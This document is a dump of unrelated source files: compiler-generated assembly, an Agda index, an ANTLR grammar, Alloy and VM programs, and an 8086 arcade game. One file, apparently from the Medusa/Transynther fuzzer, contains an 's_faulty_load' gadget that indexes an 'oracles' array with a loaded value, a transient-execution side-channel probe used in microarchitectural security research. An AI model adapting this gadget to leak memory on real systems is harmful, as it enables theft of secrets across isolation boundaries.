mov ebx,[ebp+0ch]; work
push dword ptr [ebx+04h]
call WinGetLastError
push eax
mov ecx,offset FLAT:@CBE6
sub esp,0ch
mov edx,offset FLAT:@CBE3
mov eax,01h
call Verbose
add esp,014h
; 266 WinGetLastError(work->hab));
@BLBL9:
; 267 Verbose(3, "DrvSetup", "popup menues %#x,%#x,%#x",
mov ebx,[ebp+0ch]; work
mov ecx,offset FLAT:@CBE7
push dword ptr [ebx+010h]
mov edx,offset FLAT:@CBE3
push dword ptr [ebx+018h]
mov eax,03h
push dword ptr [ebx+014h]
sub esp,0ch
call Verbose
add esp,018h
; 272 return 0;
add esp,08ch
xor eax,eax
pop edi
pop ebx
pop ebp
ret
CreateCnr__FUlP5_WORK endp
; 183 LoadPresParam(char * app)
LoadPresParam__FPc proc
sub esp,08h
; 185 if( rgbBackground == RGB_ERROR )
cmp dword ptr @2rgbBackground,0ffffff01h
; 183 LoadPresParam(char * app)
push ebx
; 185 if( rgbBackground == RGB_ERROR )
jne @BLBL3
; 189 rgbBackground = WinQuerySysColor(HWND_DESKTOP, SYSCLR_WINDOW, 0);
push 0h
; 185 if( rgbBackground == RGB_ERROR )
mov ebx,eax
; 189 rgbBackground = WinQuerySysColor(HWND_DESKTOP, SYSCLR_WINDOW, 0);
push 0ffffffech
push 01h
call WinQuerySysColor
; 191 ProfileRead(app, "Background", &cb, &rgbBackground);
push offset FLAT:@2rgbBackground
; 189 rgbBackground = WinQuerySysColor(HWND_DESKTOP, SYSCLR_WINDOW, 0);
mov dword ptr @2rgbBackground,eax
; 190 cb = sizeof(rgbBackground);
mov dword ptr [esp+018h],04h; cb
; 191 ProfileRead(app, "Background", &cb, &rgbBackground);
sub esp,0ch
mov edx,offset FLAT:@CBE1
lea ecx,[esp+024h]; cb
mov eax,ebx
call ProfileRead
mov eax,ebx
add esp,01ch
; 192 }
@BLBL3:
; 193 if( rgbForeground == RGB_ERROR )
cmp dword ptr @3rgbForeground,0ffffff01h
jne @BLBL4
; 197 rgbForeground = WinQuerySysColor(HWND_DESKTOP, SYSCLR_OUTPUTTEXT, 0);
push 0h
; 193 if( rgbForeground == RGB_ERROR )
mov ebx,eax
; 197 rgbForeground = WinQuerySysColor(HWND_DESKTOP, SYSCLR_OUTPUTTEXT, 0);
push 0ffffffe5h
push 01h
call WinQuerySysColor
; 199 ProfileRead(app, "Foreground", &cb, &rgbForeground );
push offset FLAT:@3rgbForeground
; 197 rgbForeground = WinQuerySysColor(HWND_DESKTOP, SYSCLR_OUTPUTTEXT, 0);
mov dword ptr @3rgbForeground,eax
; 199 ProfileRead(app, "Foreground", &cb, &rgbForeground );
sub esp,0ch
; 197 rgbForeground = WinQuerySysColor(HWND_DESKTOP, SYSCLR_OUTPUTTEXT, 0);
mov eax,ebx
; 198 cb = sizeof(rgbForeground);
mov dword ptr [esp+020h],04h; cb
; 199 ProfileRead(app, "Foreground", &cb, &rgbForeground );
lea ecx,[esp+020h]; cb
mov edx,offset FLAT:@CBE2
call ProfileRead
add esp,01ch
; 200 }
@BLBL4:
; 201 return;
pop ebx
add esp,08h
ret
LoadPresParam__FPc endp
CODE32 ends
end
|
nicolai/anonymousExistence/INDEX_NotionsOfAnonymousExistence.agda | nicolaikraus/HoTT-Agda | 1 | 14793 | <gh_stars>1-10
{-
This is the Agda formalization of
NOTIONS OF ANONYMOUS EXISTENCE IN MARTIN-LOF TYPE THEORY
by
<NAME>, <NAME>, <NAME>, <NAME>
This file stays very close to the article. Because of this, not all
proofs are given in the way that is most elegant for a formalization.
In fact, often re-ordering statements would lead to a shorter
presentation. The order that we have chosen in the article makes our
results, as we hope, understandable and gives sufficient motivation.
This file type check with Agda 2.4.2.5.
-}
module INDEX_NotionsOfAnonymousExistence where
-- We use the following library files:
open import library.Basics hiding (Type ; Σ)
open import library.types.Sigma
open import library.types.Pi
open import library.types.Bool
open import library.NType2
open import library.types.Paths
-- OUR FORMALIZATION
-- Section 1: Introduction
-- (no formalization)
-- Section 2: Preliminaries
open import Sec2preliminaries
-- Section 3: Hedberg's Theorem
open import Sec3hedberg
-- Section 4: Collapsibility implies H-Stability
open import Sec4hasConstToSplit
-- Section 5: Factorizing Weakly Constant Functions
open import Sec5factorConst
-- Section 6: Populatedness
open import Sec6populatedness
-- Section 7: Taboos and Counter-Models
open import Sec7taboos
-- Section 8: Propositional Truncation with Judgmental Computation Rule
open import Sec8judgmentalBeta
-- Section 9: Conclusion and Open Problems
-- (no formalization)
|
src/main/antlr4/com/cloudbees/plugins/credentials/matchers/CQL.g4 | jcsou/credentials-plugin | 106 | 4386 | <filename>src/main/antlr4/com/cloudbees/plugins/credentials/matchers/CQL.g4
/*
* The MIT License
*
* Copyright (c) 2016, CloudBees, Inc., <NAME>.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
grammar CQL;
expression
: primary
| expression AND expression
| expression OR expression
;
primary
: groupedTest
| instanceOfTest
| propertyTest
| constantTest
| negativeTest
;
negativeTest
: BANG primary
;
groupedTest
: LPAREN expression RPAREN
;
constantTest
: BooleanLiteral
;
propertyTest
: Identifier EQUAL literal
;
instanceOfTest
: InstanceOf qualifiedName
;
qualifiedName
: Identifier ('.' Identifier)*
;
literal
: IntegerLiteral
| FloatingPointLiteral
| CharacterLiteral
| StringLiteral
| BooleanLiteral
| NullLiteral
| enumLiteral
;
enumLiteral
: qualifiedName '.' Identifier
;
IntegerLiteral
: DecimalIntegerLiteral
| HexIntegerLiteral
| OctalIntegerLiteral
| BinaryIntegerLiteral
;
fragment
DecimalIntegerLiteral
: DecimalNumeral IntegerTypeSuffix?
;
fragment
HexIntegerLiteral
: HexNumeral IntegerTypeSuffix?
;
fragment
OctalIntegerLiteral
: OctalNumeral IntegerTypeSuffix?
;
fragment
BinaryIntegerLiteral
: BinaryNumeral IntegerTypeSuffix?
;
fragment
IntegerTypeSuffix
: [lL]
;
fragment
DecimalNumeral
: '0'
| NonZeroDigit (Digits? | Underscores Digits)
;
fragment
Digits
: Digit (DigitOrUnderscore* Digit)?
;
fragment
Digit
: '0'
| NonZeroDigit
;
fragment
NonZeroDigit
: [1-9]
;
fragment
DigitOrUnderscore
: Digit
| '_'
;
fragment
Underscores
: '_'+
;
fragment
HexNumeral
: '0' [xX] HexDigits
;
fragment
HexDigits
: HexDigit (HexDigitOrUnderscore* HexDigit)?
;
fragment
HexDigit
: [0-9a-fA-F]
;
fragment
HexDigitOrUnderscore
: HexDigit
| '_'
;
fragment
OctalNumeral
: '0' Underscores? OctalDigits
;
fragment
OctalDigits
: OctalDigit (OctalDigitOrUnderscore* OctalDigit)?
;
fragment
OctalDigit
: [0-7]
;
fragment
OctalDigitOrUnderscore
: OctalDigit
| '_'
;
fragment
BinaryNumeral
: '0' [bB] BinaryDigits
;
fragment
BinaryDigits
: BinaryDigit (BinaryDigitOrUnderscore* BinaryDigit)?
;
fragment
BinaryDigit
: [01]
;
fragment
BinaryDigitOrUnderscore
: BinaryDigit
| '_'
;
// §3.10.2 Floating-Point Literals
FloatingPointLiteral
: DecimalFloatingPointLiteral
| HexadecimalFloatingPointLiteral
;
fragment
DecimalFloatingPointLiteral
: Digits '.' Digits? ExponentPart? FloatTypeSuffix?
| '.' Digits ExponentPart? FloatTypeSuffix?
| Digits ExponentPart FloatTypeSuffix?
| Digits FloatTypeSuffix
;
fragment
ExponentPart
: ExponentIndicator SignedInteger
;
fragment
ExponentIndicator
: [eE]
;
fragment
SignedInteger
: Sign? Digits
;
fragment
Sign
: [+-]
;
fragment
FloatTypeSuffix
: [fFdD]
;
fragment
HexadecimalFloatingPointLiteral
: HexSignificand BinaryExponent FloatTypeSuffix?
;
fragment
HexSignificand
: HexNumeral '.'?
| '0' [xX] HexDigits? '.' HexDigits
;
fragment
BinaryExponent
: BinaryExponentIndicator SignedInteger
;
fragment
BinaryExponentIndicator
: [pP]
;
// §3.10.3 Boolean Literals
BooleanLiteral
: 'true'
| 'false'
;
// §3.10.4 Character Literals
CharacterLiteral
: '\'' SingleCharacter '\''
| '\'' EscapeSequence '\''
;
fragment
SingleCharacter
: ~['\\]
;
// §3.10.5 String Literals
StringLiteral
: '"' StringCharacters? '"'
;
fragment
StringCharacters
: StringCharacter+
;
fragment
StringCharacter
: ~["\\]
| EscapeSequence
;
// §3.10.6 Escape Sequences for Character and String Literals
fragment
EscapeSequence
: '\\' [btnfr"'\\]
| OctalEscape
| UnicodeEscape
;
fragment
OctalEscape
: '\\' OctalDigit
| '\\' OctalDigit OctalDigit
| '\\' ZeroToThree OctalDigit OctalDigit
;
fragment
UnicodeEscape
: '\\' 'u' HexDigit HexDigit HexDigit HexDigit
;
fragment
ZeroToThree
: [0-3]
;
// §3.10.7 The Null Literal
NullLiteral
: 'null'
;
InstanceOf
: INSTANCEOF ;
Identifier
: JavaLetter JavaLetterOrDigit*
;
fragment
JavaLetter
: [a-zA-Z$_] // these are the "java letters" below 0x7F
| // covers all characters above 0x7F which are not a surrogate
~[\u0000-\u007F\uD800-\uDBFF]
{Character.isJavaIdentifierStart(_input.LA(-1))}?
| // covers UTF-16 surrogate pairs encodings for U+10000 to U+10FFFF
[\uD800-\uDBFF] [\uDC00-\uDFFF]
{Character.isJavaIdentifierStart(Character.toCodePoint((char)_input.LA(-2), (char)_input.LA(-1)))}?
;
fragment
JavaLetterOrDigit
: [a-zA-Z0-9$_] // these are the "java letters or digits" below 0x7F
| // covers all characters above 0x7F which are not a surrogate
~[\u0000-\u007F\uD800-\uDBFF]
{Character.isJavaIdentifierPart(_input.LA(-1))}?
| // covers UTF-16 surrogate pairs encodings for U+10000 to U+10FFFF
[\uD800-\uDBFF] [\uDC00-\uDFFF]
{Character.isJavaIdentifierPart(Character.toCodePoint((char)_input.LA(-2), (char)_input.LA(-1)))}?
;
INSTANCEOF : 'instanceof';
LPAREN : '(';
RPAREN : ')';
AND : '&&';
OR : '||';
EQUAL : '==';
BANG : '!';
WS : [ \t\r\n\u000C]+ -> skip
;
|
Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48.log_9_436.asm | ljhsiun2/medusa | 9 | 97919 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x1b25a, %r14
nop
nop
nop
nop
inc %r10
movb (%r14), %r11b
nop
nop
nop
nop
dec %rbp
lea addresses_WT_ht+0x35f7, %rsi
lea addresses_normal_ht+0x1205a, %rdi
clflush (%rdi)
nop
nop
add %rax, %rax
mov $105, %rcx
rep movsw
nop
nop
nop
nop
sub %r11, %r11
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
// REPMOV
lea addresses_A+0x97da, %rsi
lea addresses_normal+0x16e69, %rdi
nop
nop
nop
nop
inc %r10
mov $92, %rcx
rep movsb
nop
nop
nop
nop
and %r10, %r10
// Faulty Load
lea addresses_US+0xb85a, %rsi
nop
nop
nop
nop
nop
sub %rdx, %rdx
mov (%rsi), %r10
lea oracles, %rdi
and $0xff, %r10
shlq $12, %r10
mov (%rdi,%r10,1), %r10
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': True, 'congruent': 0, 'size': 4, 'same': False, 'NT': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_A', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_normal', 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 9, 'size': 1, 'same': True, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}}
{'00': 9}
00 00 00 00 00 00 00 00 00
*/
|
testsuite/ubivm/expected/while_1.asm | alexgarzao/UOP | 0 | 14292 | Entity start
No options
Constants
0 S start
1 S x
2 I 1
3 I 10
4 S x=
5 I 2
6 S io.writeln
End
Valid context (always)
No properties
Def start
No parameters
Local variables
0 int x
End
No results
ldconst 2 --> [1]
stvar 0 --> [x]
2: ldvar 0 --> [x]
ldconst 3 --> [10]
le
ifnot 15 --> [15]
ldconst 4 --> [x=]
ldvar 0 --> [x]
ldconst 5 --> [2]
lcall 6 --> [io.writeln]
ldvar 0 --> [x]
ldconst 2 --> [1]
add
stvar 0 --> [x]
jmp 2 --> [2]
15: stop
End
End
|
programs/oeis/055/A055272.asm | karttu/loda | 1 | 101182 | <filename>programs/oeis/055/A055272.asm<gh_stars>1-10
; A055272: First differences of 7^n (A000420).
; 1,6,42,294,2058,14406,100842,705894,4941258,34588806,242121642,1694851494,11863960458,83047723206,581334062442,4069338437094,28485369059658,199397583417606,1395783083923242,9770481587462694
mov $1,7
pow $1,$0
mul $1,6
sub $1,7
div $1,7
add $1,1
|
scripts/seating/seating.als | eskang/alloy-maxsat-benchmark | 0 | 1169 | <reponame>eskang/alloy-maxsat-benchmark
abstract sig Person {
tags: set Tag
}
one sig P1, P2, P3, P4, P5 extends Person {}
abstract sig Tag {}
one sig A, B, C extends Tag {}
fact {
tags = P1 -> A + P1 -> B +
P2 -> C +
P3 -> B +
P4 -> C + P4 -> A +
P5 -> A
}
sig Table {
seat: set Person,
} {
#seat < 4
#seat > 1
}
fact {
all p: Person | one seat.p
}
run {
// table-based
all t: Table | softno t.seat.tags
} for 2 Table
run {
// tag-based
all t: Tag | softno seat.tags.t
} for 2 Table
|
assets/FunctionCalls/SimpleFunction/SimpleFunction.asm | jamespolley/VM-Translator | 1 | 82920 | <reponame>jamespolley/VM-Translator<gh_stars>1-10
// function SimpleFunction.test 2
(SimpleFunction.test)
@SP
A=M
M=0
@SP
M=M+1
@SP
A=M
M=0
@SP
M=M+1
// push local 0
@LCL
D=M
@0
A=D+A
D=M
@SP
A=M
M=D
@SP
M=M+1
// push local 1
@LCL
D=M
@1
A=D+A
D=M
@SP
A=M
M=D
@SP
M=M+1
// add
@SP
AM=M-1
D=M
A=A-1
M=M+D
// not
@SP
A=M-1
M=!M
// push argument 0
@ARG
D=M
@0
A=D+A
D=M
@SP
A=M
M=D
@SP
M=M+1
// add
@SP
AM=M-1
D=M
A=A-1
M=M+D
// push argument 1
@ARG
D=M
@1
A=D+A
D=M
@SP
A=M
M=D
@SP
M=M+1
// sub
@SP
AM=M-1
D=M
A=A-1
M=M-D
// return
@LCL
D=M
@R13
M=D
@5
A=D-A
D=M
@R14
M=D
@SP
M=M-1
A=M
D=M
@ARG
A=M
M=D
@ARG
D=M
@SP
M=D+1
@R13
AM=M-1
D=M
@THAT
M=D
@R13
AM=M-1
D=M
@THIS
M=D
@R13
AM=M-1
D=M
@ARG
M=D
@R13
AM=M-1
D=M
@LCL
M=D
@R14
A=M
0;JMP
(EXIT)
@EXIT
0;JMP
|
sw/prg.asm | butyi/aci2can | 1 | 245912 | <filename>sw/prg.asm
; ==============================================================================
; MINI LAUSCH BOX
; ==============================================================================
; Hardware: https://github.com/butyi/sci2can/
; Software: <EMAIL>, 2020.05.23.
; ==============================================================================
#include "dz60.inc"
; ===================== CONFIG =================================================
APPLICATION equ 0 ; Gateway applications ID (0: github example)
SW_REV equ 2 ; Software revison
BUILD_DATE_YH equ $20 ; ${:year/100}
BUILD_DATE_YL equ $21 ; ${:year-2000}
BUILD_DATE_MO equ $02 ; ${:month}
BUILD_DATE_DA equ $28 ; ${:date}
BUILD_DATE_HO equ $09 ; ${:hour}
BUILD_DATE_MI equ $30 ; ${:min}
;OSCILL_SUPP equ 1 ; To switch on oscillator support
BUFFLEN equ 96 ; Number of bytes in received burst
; uC port definitions with line names in schematic
LED2 @pin PTA,6
CANRX @pin PTE,7
CANTX @pin PTE,6
RxD1 @pin PTE,1
RxD1_2 @pin PTA,0
FET @pin PTD,2
;BTNL @pin PTA,2 ; My prototype
;BTNR @pin PTA,1 ; My prototype
BTNL @pin PTE,3
BTNR @pin PTE,2
#ifdef OSCILL_SUPP
; Debug pins to measure execution times (high level) by oscilloscope
OSC_SCIRX @pin PTD,0 ; Pin is high during SCI Rx burst
OSC_CANTX @pin PTD,1 ; Pin is high during CAN Tx burst
OSC_RTCIT @pin PTD,3 ; Pin is high during RTC Interrupt routine
OSC_SCIIT @pin PTD,4 ; Pin is high during SCI Rx Interrupt routine
OSC_CANIT @pin PTD,5 ; Pin is high during CAN Tx Interrupt routine
#endif
; ===================== INCLUDE FILES ==========================================
#include "cop.sub"
#include "mcg.sub"
#include "rtc.sub"
#include "iic.sub"
#include "ssd1780.sub" ; 0.96" 128x64 OLED display
#include "lib.sub"
#include "sci.sub"
#include "can.sub"
#include "adc.sub"
; ==================== VARIABLES =============================================
#RAM
uz ds 2 ; Hysteresis filtered Uz voltage
btns ds 1 ; Saved button states to detect change
; ==================== PROGRAM START =========================================
#ROM
start:
sei ; disable interrupts
ldhx #XRAM_END ; H:X points to SP
txs ; Init SP
jsr COP_Init
jsr PTX_Init ; I/O ports initialization
jsr MCG_Init
jsr RTC_Init
jsr CAN_Init
jsr SCI_Init
jsr IIC_Init ; Init IIC for fast clear (~100khz)
bsr ADC_Init
cli ; Enable interrupts
clr uz ; Init uz variable
clr uz+1
jsr update_btns ; Init btns variable
jsr IIC_wfe ; Wait for end of action list
jsr DISP_init ; Initialize display
lda #$00 ; Set position to top-left
ldhx #startscreen ; Get address of string
jsr DISP_print ; Print string
jsr IIC_wfe ; Wait for end of action list
; jsr IIC_Slow ; Slow down IIC for update (~10khz)
main
jsr KickCop ; Update watchdog
brset EVERY1SEC.,timeevents,m_onesec ; Check if 1s spent
jsr update_btns ; Test button change
bne m_btn_event ; In case of edge, jump to handle
mov #PIN5.,ADCSC1 ; Start Uz voltage measurement
m_meas
jsr KickCop ; Update watchdog
brclr COCO.,ADCSC1,m_meas ; Wait for finish Uz measurement
ldx #0 ; Load uz to arit32
stx arit32
stx arit32+1
lda uz
sta arit32+2
lda uz+1
sta arit32+3
stx yy ; *=255
stx yy+1
stx yy+2
lda #255
sta yy+3
jsr szor16bit
ldx #0 ; /=256
stx yy
stx yy+1
lda #1
sta yy+2
stx yy+3
jsr oszt32bit
lda arit32+3 ; +=ADCRL
add ADCRL
sta uz+1
lda arit32+2
adc #0
sta uz ; Save back to uz
bra main ; Repeat main cycle
m_onesec ; This path called once in every sec
bclr EVERY1SEC.,timeevents ; Clear event flag
lda uz ; Load high byte
; ldx #18 ; *=18 ;My prototype
ldx #55 ; *=55
mul
pshx
pulh
; ldx #10 ; /=10 ;My prototype
ldx #30 ; /=30
div
clrh
ldx #1 ; Length of fractional part is 1 digit
mov #5,str_bufidx ; Set length of string
jsr str_val ; Convert value to string
lda #$26 ; Screen position
jsr DISP_print ; Print string
; Update SCI status
ldhx #ok_err_str
brclr SCIPACK_LED.,led_flags,m_sci_err
aix #2
m_sci_err
lda #$45 ; Screen position
jsr DISP_print ; Print string
; Update CAN status
ldhx #ok_err_str
brclr CANSENT_LED.,led_flags,m_can_err
aix #2
m_can_err
lda #$4E ; Screen position
jsr DISP_print ; Print string
jmp main
m_btn_event ; Button state changed
ldhx #btn_str ; Just show the new state, no real function yet
lda btns
and #BTNL_
beq m_btnl_err
aix #4
m_btnl_err
lda #$72 ; Screen position
jsr DISP_print ; Print string
ldhx #btn_str ; Just show the new state, no real function yet
lda btns
and #BTNR_
beq m_btnr_err
aix #4
m_btnr_err
lda #$7B ; Screen position
jsr DISP_print ; Print string
jmp main
; ===================== STRINGS ================================================
hexakars
db '0123456789ABCDEF'
startscreen
db "* sci2can 1v02 *"
db " "
db " Uz= V "
db " "
db " SCI ? CAN ? "
db " "
db "Build 2102280930"
db " "
db 0
ok_err_str
db "-",0
db $1F,0 ; Check mark symbol
btn_str
db " ",0
db "vvv",0
; ===================== SUB-ROUTINES ===========================================
; ------------------------------------------------------------------------------
; Parallel Input/Output Control
; To prevent extra current consumption caused by flying not connected input
; ports, all ports shall be configured as output. I have configured ports to
; low level output by default.
; There are only a few exceptions for the used ports, where different
; initialization is needed.
; Default init states are proper for OSCILL_SUPP pins, no exception needed.
PTX_Init
; All ports to be low level
clra
sta PTA
sta PTB
sta PTC
sta PTD
sta PTE
sta PTF
sta PTG
bset CANTX.,CANTX ; CANTX to be high
bset LED2.,LED2 ; LED2 to be On
; All ports to be output
lda #$FF
sta DDRA
sta DDRB
sta DDRC
sta DDRD
sta DDRE
sta DDRF
sta DDRG
bclr CANRX.,CANRX+1 ; CANRX to be input
bclr RxD1.,RxD1+1 ; RxD1 to be input
bclr RxD1_2.,RxD1_2+1 ; RxD1_2 to be input
bclr BTNL.,BTNL+1 ; Button to be input
bclr BTNR.,BTNR+1 ; Button to be input
lda #BTNL_|BTNR_ ; Buttons to be pulled up
sta PTEPE ; to prevent instable state when not mounted
lda #RxD1_2_
sta PTAPE ; RxD1_2 to be pulled up
rts
update_btns
lda BTNL ; Load current button state
coma ; Change polarity to active low
and #BTNL_|BTNR_ ; Mask bits of two buttons
tax ; Update btns later with this value
eor btns ; Detect state change comparing to last value still in btns
stx btns ; Update btns now with before saved value
tsta ; Update status register with A to report any button edge
rts
; ===================== IT VECTORS =============================================
#VECTORS
org Vreset
dw start
; ===================== END ====================================================
|
arcade-game.asm | Sarthakh/MULTIPLAYER-ARCADE-GAME-MADE-WITH-EMU8086 | 0 | 13580 | <reponame>Sarthakh/MULTIPLAYER-ARCADE-GAME-MADE-WITH-EMU8086
org 100h
mov cx, 0
;;-------------- SETTING UP INITIAL VALUES---------------
jmp maindata
gameWidth dw 50
gameHeight dw 50
;Order - xpos, ypos, xvel, yvel, size, newx, newy
ball dw 17,17,5,4,2,17,17
;Order - xpos, ypos, speed, length, newx, newy
lpad dw 5, 14, 7, 11, 02, 14 ; Left Paddle
rpad dw 5, 14, 7, 11, 48, 14 ; Right Paddle
player1 dw 0c00h
s1 db 100,?, 100 dup(' ')
msg1 db "Choose player theme: (1) Blue (2) Red (3) Magenta (4) Cyan (5) Green $"
score dw 02h
;;-------------- PROGRAM STARTS-------------------------
maindata:
mov dx, offset msg1
mov ah, 9
int 21h
mov ah, 1
int 21h
cmp al,31h
jz colorBlue
cmp al,32h
jz colorRed
cmp al,33h
jz colorMagenta
cmp al,34h
jz colorCyan
cmp al,35h
jz colorGreen
colorBlue:
mov player1,0c01h
jmp plot
colorRed:
mov player1,0c04h
jmp plot
colorMagenta:
mov player1,0c05h
jmp plot
colorCyan:
mov player1,0c0bh
jmp plot
colorGreen:
mov player1,0c02h
jmp plot
;SET BOUNDRY/PLAY AREA
plot:
;SET TO GRAPHICS DISPLAY MODE
mov ax, 0013h
int 10h
mov ax, 0
mov bx, 0
mov cx, gameWidth
call horizontalBoundry
mov cx, gameHeight
call verticallBoundry
add ax, gameWidth
call verticallBoundry
mov ax, 0
mov bx, gameHeight
mov cx, gameWidth
call horizontalBoundry
;;---------------------MAIN LOOP----------------------------
mov cx, 0
mainloop:
call drawPaddleL
call drawPaddleR
call drawBall
call updateBall
call updatePadL
call checkBall_CollisionL
call updatePadR
call checkBall_CollisionR
loop mainloop
ret
;;-------------------DRAW FUNCTIONS--------------------------
;Left Paddle
drawPaddleL:
push ax
push bx
push cx
mov ax, lpad[0]
mov bx, lpad[2]
mov cx, lpad[6]
call vert_line_unplot
mov ax, lpad[8]
mov bx, lpad[10]
call verticallBoundry
pop cx
pop bx
pop ax
ret
;Right Paddle
drawPaddleR:
push ax
push bx
push cx
mov ax, rpad[0]
mov bx, rpad[2]
mov cx, rpad[6]
call vert_line_unplot
mov ax, rpad[8]
mov bx, rpad[10]
call verticallBoundry
pop cx
pop bx
pop ax
ret
;Draws Ball
drawBall:
push ax
push bx
push cx
push dx
mov ax, ball[0]
mov cx, ax
mov bx, ball[2]
mov dx, bx
add cx, ball[8]
dec cx
add dx, ball[8]
dec dx
call rect_unplot
mov ax, ball[10]
mov cx, ax
mov bx, ball[12]
mov dx, bx
add cx, ball[8]
dec cx
add dx, ball[8]
dec dx
call rect_plot
pop dx
pop cx
pop bx
pop ax
ret
;;---------------------PLOT PLAY AREA----------------------------
rect_plot:
push ax
push bx
push cx
push dx
push di
push si
push ax ;Store the origin x in the stack
mov di, cx
mov si, dx
mov cx, ax
mov dx, bx
mov ax, 0c0eh ;Color of rectangle - the right-most hex char
rect_loop:
int 10h ;Draw Pixel
inc cx
cmp cx, di ;Check if xpos > destination x
jng rect_loop
pop cx ;Xpos to the origin x
push cx
inc dx
cmp dx, si ;Check if ypos > destination y
jng rect_loop
pop si
pop si
pop di
pop dx
pop cx
pop bx
pop ax
ret
rect_unplot:
push ax
push bx
push cx
push dx
push di
push si
push ax
mov di, cx
mov si, dx
mov cx, ax
mov dx, bx
mov ax, 0c00h ;the right-most hex char is the color of the rectangle - change color to see path - 0c03h
rect_loop2:
int 10h
inc cx
cmp cx, di
jng rect_loop2
pop cx
push cx
inc dx
cmp dx, si
jng rect_loop2
pop si
pop si
pop di
pop dx
pop cx
pop bx
pop ax
ret
verticallBoundry:
push ax
push bx
push cx
push dx
;moving values around for pixel plotting
mov dx, bx
mov bx, cx
mov cx, ax
mov ax, player1
vert_loop:
int 10h
inc dx
dec bx
jns vert_loop
pop dx
pop cx
pop bx
pop ax
ret
vert_line_unplot:
push ax
push bx
push cx
push dx
;moving values around for pixel plotting
mov dx, bx
mov bx, cx
mov cx, ax
mov ax, 0c00h
vert_loopu:
int 10h
inc dx
dec bx
jns vert_loopu
pop dx
pop cx
pop bx
pop ax
ret
horizontalBoundry:
push ax
push bx
push cx
push dx
;moving values around for pixel plotting
mov dx, bx
mov bx, cx
mov cx, ax
mov ax, 0c01h
horiz_loop:
int 10h
inc cx
dec bx
jns horiz_loop
pop dx
pop cx
pop bx
pop ax
ret
move_pixel:
push bx
push ax
;cx and dx are popped within the function
push dx
push cx
mov cx, ax
mov dx, bx
;store the old color in bl
mov ax, 0d00h
int 10h
mov bl, al
;un-plot the old pixel - replace with black
mov ax, 0c00h
int 10h
;plot the new pixel
mov al, bl
mov ah, 0ch
pop cx
pop dx
int 10h
pop ax
pop bx
ret
plot_pixel:
push ax
push cx
push dx
mov cx, ax
mov dx, bx
mov ax, 0c0fh
int 10h
pop dx
pop cx
pop ax
ret
;;-------------------UPDATE POSITION VALUE--------------------
;Ball position Values
updateBall:
push ax
push bx
push cx
mov ax, ball[10]
lea bx, ball[0]
mov [bx], ax
mov ax, ball[12]
lea bx, ball[2]
mov [bx], ax
;X coordinate positions
;New X Position
mov ax, ball[0]
mov bx, ball[4]
add ax, bx
;Sign of Velocity
and bx, 8000h
jz checkPositiveX
;Collision Check
cmp ax, 0
jg updateX
;Update positions and negate velocity
neg ax
inc ax
mov cx, ball[4]
neg cx
lea bx, ball[4]
mov [bx], cx
jmp updateX
;Collision Check
checkPositiveX:
mov cx, ax
add cx, ball[8]
sub cx, gameWidth
cmp cx, 0
jle updateX
;Update positions and negate velocity
shl cx, 1
sub ax, cx
mov cx, ball[4]
neg cx
lea bx, ball[4]
mov [bx], cx
;Update the new position
updateX:
lea bx, ball[10]
mov [bx], ax
;Y coordinate positions
mov ax, ball[2]
mov bx, ball[6]
add ax, bx
and bx, 8000h
jz checkPositiveY
cmp ax, 0
jg updateY
neg ax
inc ax
mov cx, ball[6]
neg cx
lea bx, ball[6]
mov [bx], cx
jmp updateY
checkPositiveY:
mov cx, ax
add cx, ball[8]
sub cx, gameHeight
cmp cx, 0
jle updateY
shl cx, 1
sub ax, cx
mov cx, ball[6]
neg cx
lea bx, ball[6]
mov [bx], cx
;Update the new position
updateY:
lea bx, ball[12]
mov [bx], ax
pop cx
pop bx
pop ax
ret
;Left Paddle Position Values
updatePadL:
push ax
push bx
;New position update
mov ax, lpad[8]
lea bx, lpad[0]
mov [bx], ax
mov ax, lpad[10]
lea bx, lpad[2]
mov [bx], ax
mov al, 0
mov ah, 1
;Player 1 character - keyboard buffer
;up arrow: 4800h
;down arrow: 5000h
int 16h
;No input, Ignore
jz donepu
mov ax, 0
;Get character input from keyboard buffer
int 16h
cmp al, 00h
jne donepu
cmp ah, 48h
je upL
cmp ah, 50h
jne donepu
mov ax, lpad[2]
add ax, lpad[4]
;Collision check
mov bx, ax
add bx, lpad[6]
dec bx
cmp bx, gameHeight
jl commit
dec score
;If no collision, commit changes in ypos to the object
;If collision, set paddle to maximum possible ypos
mov bx, gameHeight
dec bx
sub bx, lpad[6]
mov ax, bx
jmp commit
;then commit the changes
upL:
